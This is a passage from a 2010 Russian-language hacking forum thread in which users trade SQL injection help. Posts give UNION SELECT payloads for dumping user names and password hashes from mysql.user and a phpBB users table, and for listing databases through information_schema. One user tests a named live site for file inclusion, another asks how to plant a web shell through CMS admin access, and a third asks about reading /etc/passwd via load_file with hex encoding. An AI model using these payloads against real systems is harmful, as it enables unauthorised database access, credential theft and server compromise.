 |
|
08.06.2010, 09:10
|
|
Участник форума
Регистрация: 10.09.2009
Сообщений: 120
С нами:
8772211
Репутация:
56
|
|
Сообщение от SeNaP
Первый раз ты правильно понял 
мне как раз вот это и нужно
Просто помоги составить запрос с теми данными Тогда select+1,2,3,4,5,password,7+from+mysql.user+where+ user='имя юзера'
например select+1,2,3,4,5,password,7+from+mysql.user+where+ user='root'
Либо select+1,2,3,4,5,concat_ws(0x3a,user,password),7+f rom+mysql.user+limit+1,1 и перебирай limit'ом
Последний раз редактировалось Redwood; 08.06.2010 в 11:23..
|
|
|
08.06.2010, 10:08
|
|
Участник форума
Регистрация: 24.08.2009
Сообщений: 172
С нами:
8797559
Репутация:
-16
|
|
pervoe posmotri u tebya kakie bd (schema_name)
select+1,2,3,4,5,schema_name,7+from+information_sc hema.schemata
a potom posmotri table_name=>phpBB_users v kakoy bd ? naprimer imya bd test..i zapros budet..
select+1,2,3,4,5,password,7+from+phpbb_users.test
|
|
|
|
08.06.2010, 13:15
|
|
Участник форума
Регистрация: 30.10.2009
Сообщений: 103
С нами:
8700497
Репутация:
388
|
|
2 LokbatanLi,
Код:
+from+test.phpbb_users
, т.е. "имя БД .Таблица" |
|
|
|
08.06.2010, 19:27
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
С нами:
8803961
Репутация:
8
|
|
Здесь есть инклуд?
http://agrovisual.com/index.php?action=av_show_image'&id=1104
|
|
|
|
08.06.2010, 19:35
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
С нами:
9154406
Репутация:
2221
|
|
Сообщение от FlaktW
Здесь есть инклуд?
http://agrovisual.com/index.php?action=av_show_image'&id=1104
Опять 125, ошибка не значит инклюд, это просто немогут странички ошибки загрузиться.
// Где ваша хакерская догадка люди?
// Я читал этот топик ровно неделю, я стал седым.
Последний раз редактировалось Ctacok; 08.06.2010 в 20:01..
|
|
|
|
09.06.2010, 04:48
|
|
Познающий
Регистрация: 17.02.2008
Сообщений: 63
С нами:
9594500
Репутация:
83
|
|
Есть доступ к админке CMS WebAsyst
Есть способы как залить шелл?
|
|
|
|
09.06.2010, 11:06
|
|
Познающий
Регистрация: 21.05.2010
Сообщений: 37
С нами:
8408116
Репутация:
55
|
|
хей!
если "load_file('/etc/passwd') нельзя, а load_file(0x2f6574632f706173737764) можно, то записать всё равно не получится?
|
|
|
|
09.06.2010, 11:09
|
|
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
С нами:
9510146
Репутация:
1550
|
|
Да, меджик квотес
|
|
|
|
09.06.2010, 12:09
|
|
Участник форума
Регистрация: 10.09.2009
Сообщений: 120
С нами:
8772211
Репутация:
56
|
|
Сообщение от qq6ka
хей!
если "load_file('/etc/passwd') нельзя, а load_file(0x2f6574632f706173737764) можно, то записать всё равно не получится?
https://forum.antichat.ru/showpost.php?p=663815&postcount=25
|
|
|
|
09.06.2010, 12:13
|
|
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
С нами:
9510146
Репутация:
1550
|
|
Сообщение от Redwood
https://forum.antichat.ru/showpost.php?p=663815&postcount=25
Случаи, когда в запрос подставляется ответ из другого не так уж и част 
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
